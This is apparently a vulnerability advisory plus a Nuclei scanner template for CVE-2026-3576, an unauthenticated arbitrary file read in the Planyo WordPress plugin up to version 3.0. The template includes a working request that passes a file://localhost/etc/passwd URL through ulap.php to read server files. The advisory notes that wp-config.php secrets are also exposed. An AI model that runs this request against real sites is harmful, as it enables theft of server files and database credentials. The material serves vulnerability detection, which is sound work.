The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.
PoC
id: CVE-2026-3576
info:
name: Planyo Online Reservation System <= 3.0 - Arbitrary File Read
author: aryu-ru
severity: high
description: |
The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.
impact: |
An unauthenticated attacker can read any file readable by the web server, including wp-config.php, which discloses database credentials and WordPress authentication keys.
remediation: |
Update the Planyo Online Reservation System plugin to version 3.1 or later, which rejects any URL scheme other than http and https.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/5038d12a-e119-4ab7-aadc-69b765ae7027?source=cve
- https://www.exploit-db.com/exploits/52636
- https://plugins.trac.wordpress.org/browser/planyo-online-reservation-system/trunk/ulap.php#L59
- https://nvd.nist.gov/vuln/detail/CVE-2026-3576
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2026-3576
epss-score: 0.12943
epss-percentile: 0.96111
cwe-id: CWE-20
metadata:
verified: true
max-request: 1
vendor: xtreeme
product: planyo-online-reservation-system
framework: wordpress
fofa-query: body="/plugins/planyo-online-reservation-system/"
tags: cve,cve2026,wordpress,wp,wp-plugin,planyo-online-reservation-system,lfi,ssrf
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/readme.txt"
matchers:
- type: dsl
dsl:
- 'contains(body, "Planyo online reservation system")'
- 'status_code == 200'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd"
matchers:
- type: dsl
dsl:
- 'contains(content_type, "text/plain")'
- 'regex("root:[x*]?:0:0:", body)'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100af58d23eaf27882d095b377cfa4cbc851615a9f8835b9992461e70232c5bb633022100be660dd9d7cfbc4ca2e5c0ff76fc78c6e25df5507f4735dc5284fa90a2796f48:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.